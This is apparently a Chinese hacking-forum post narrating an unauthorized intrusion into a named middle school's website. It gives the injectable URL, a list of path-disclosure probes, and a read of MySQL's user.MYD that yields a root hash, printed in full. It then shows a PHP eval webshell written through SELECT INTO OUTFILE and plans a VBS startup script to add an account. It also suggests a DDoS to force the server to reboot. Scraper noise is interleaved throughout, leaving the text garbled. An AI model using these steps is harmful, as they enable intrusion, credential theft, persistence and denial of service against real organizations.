友情检测湖北省大治市第一中学

admin

第一眼看去，好像全是html静态的，都知道静态的根本不好日，多点击几个专栏
5 g2 a) K; Q7 V; j" B8 b发现这个：http://www.dyyz.net.cn/celebrate/list.php?id=3  -0  -1 判断后确认存在注入！



常规手工不行，尝试突破也不行，利用穿山甲 可以注入：root权限

  t" [8 n! G/ J! @- T" l% ~+ y* I那么想可以直接写入shell ，getshell有几个条件：
' b( ~, n+ z6 V! L3 b! ]

1、知道站点物理路径

2、有足够大的权限

3、magic_quotes_gpc()=OFF
* ]/ u* K: K* h2 P
5 l+ M2 [* t" \) p7 y# H试着爆绝对路径：
1./phpMyAdmin/index.php?lang[]=1  
2./phpMyAdmin/phpinfo.php  
3./load_file()  
7 G6 A2 I# e0 b4./phpmyadmin/themes/darkblue_orange/layout.inc.php  
/ @: s- v$ `8 Z4 k2 R1 }5./phpmyadmin/libraries/select_lang.lib.php  
6./phpmyadmin/libraries/lect_lang.lib.php  
7./phpmyadmin/libraries/mcrypt.lib.php   
; [. A5 c5 @5 J2 o2 _8./phpmyadmin/libraries/export/xls.php  

均不行...........................

7 L/ t  l. X$ c! r! C御剑扫到这个：http://www.dyyz.net.cn//phpinfo.php       获得网站路径：D:/www/phpinfo.php
3 P. O, G; }: i8 {1 t8 ]7 w# I
权限为root，知道网站路径，可是条件3不符合，没法写入shell ，不过服务器存在phpmyadmin

默认不行，尝试万能密码：帐号 'localhost'@'@" 密码空 ，登录失败

敏感东西：http://202.103.49.66/Admincp.php  社工进不去...........
8 c# y9 U) W9 p$ o5 }( S
想想root还可以读，读到root密码进phpmyadmin 也可以拿shell

http://www.dyyz.net.cn//phpinfo.php  泄露了D:\phpStudy\PHP5\php.ini
2 X  Z9 x+ O9 Z4 b+ o) ]
自己修改好读root密码的路径：D:\phpStudy\MySQL\Data\mysql\user.MYD

" N3 i8 B* [7 b成功读到root密码：
# b/ `7 G( |# H5 [& S
17---- r(0072)
2 _/ A  K  ?; A+ s, t18---- o(006f)
19---- o(006f)
$ R# [" R8 G& D! _% t/ o$ C7 _9 |20---- t(0074)
5 i' K. E! V; w. B21---- *(002a)
) P; l9 B& ?. d' a22---- 8(0038)
0 w6 U. f4 {; i% Q; ?5 y23---- 2(0032)
24---- E(0045)
( R! w9 ~, I* e) y; n1 n4 a- J4 f25---- 1(0031)
! w/ h, L' x% W: O+ q9 i9 x) }+ p26---- C(0043)
# `0 z) ]6 _% ?& L; K/ q27---- 5(0035)
28---- 8(0038)
: ?7 E$ l! u6 d. k1 F! M. |' o29---- 2(0032)
" }8 I; D8 v8 H& T30---- 8(0038)
31---- A(0041)
32---- 9(0039)
33---- B(0042)
0 D- d" ?2 K* _' E34---- 5(0035)
35---- 4(0034)
36---- 8(0038)
37---- 6(0036)
$ Z! q5 @* t7 T/ g! L+ J38---- 4(0034)
4 {2 p2 L3 d$ u# C" L) e9 V39---- 9(0039)
40---- 1(0031)
41---- 1(0031)
42---- 5(0035)
' [+ W' G, T  z1 i- C9 G43---- 3(0033)
44---- 5(0035)
! P% e9 A7 y$ M( {* o4 t! W) u& a45---- 9(0039)
* y& I( F6 V4 ?# ~; `$ f46---- 8(0038)
. _) U. K7 V: f+ l47---- F(0046)
) C/ a$ {/ Z4 Z& }& U& L48---- F(0046)
  e/ ]! B! }" o3 g* h1 u! U49---- 4(0034)
- I3 Z; D$ \4 X4 P+ x50---- F(0046)
51---- 0(0030)
52---- 3(0033)
53---- 2(0032)
54---- A(0041)
55---- 4(0034)
56---- A(0041)
" A* X  p# G$ s. y57---- B(0042)
9 \& q: E# {7 K+ Y3 g$ a# O( ?58---- *(0044)
$ D/ w% S( L3 z, ]- C- G, C59---- *(0035)
60---- *(0041)
61---- *0032)
( K; d8 B: F% y0 w
解密后成功登陆phpmyamin
                          
" Y0 Z7 p; a1 i1 x0 V
                             
! W/ S! g( |. t6 y
# N! p. V% K: L! F找到mysql数据库，执行sql语句：elect '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/daxia.php'
  \! n' ?$ o. A
+ s# E2 g) {& P1 Q成功执行，拿下shell，菜刀连接：

服务器不支持asp,aspx,php提权无果...................

- w& S# E. U/ t) z2 K" ^但服务器权限很松，上传个远控小马或是一个添加用户的vbs程序到启动里：
4 m7 |; x& p3 i* d, {- R

服务器上已经有个隐藏帐号了

别名     administrators
注释     管理员对计算机/域有不受限制的完全访问权

成员

-------------------------------------------------------------------------------
admin
) P$ x9 U6 X3 q0 |. oAdministrator
slipper$
sqluser
命令成功完成。

服务器权限很松，上传个vbs添加用户的到启动，不要用bat，会开机的时候显示运行批处理的。
2 q6 @& Q! ]; _8 y; n
ddos服务器重启，不然就只能坐等服务器重启了...............................

      

angel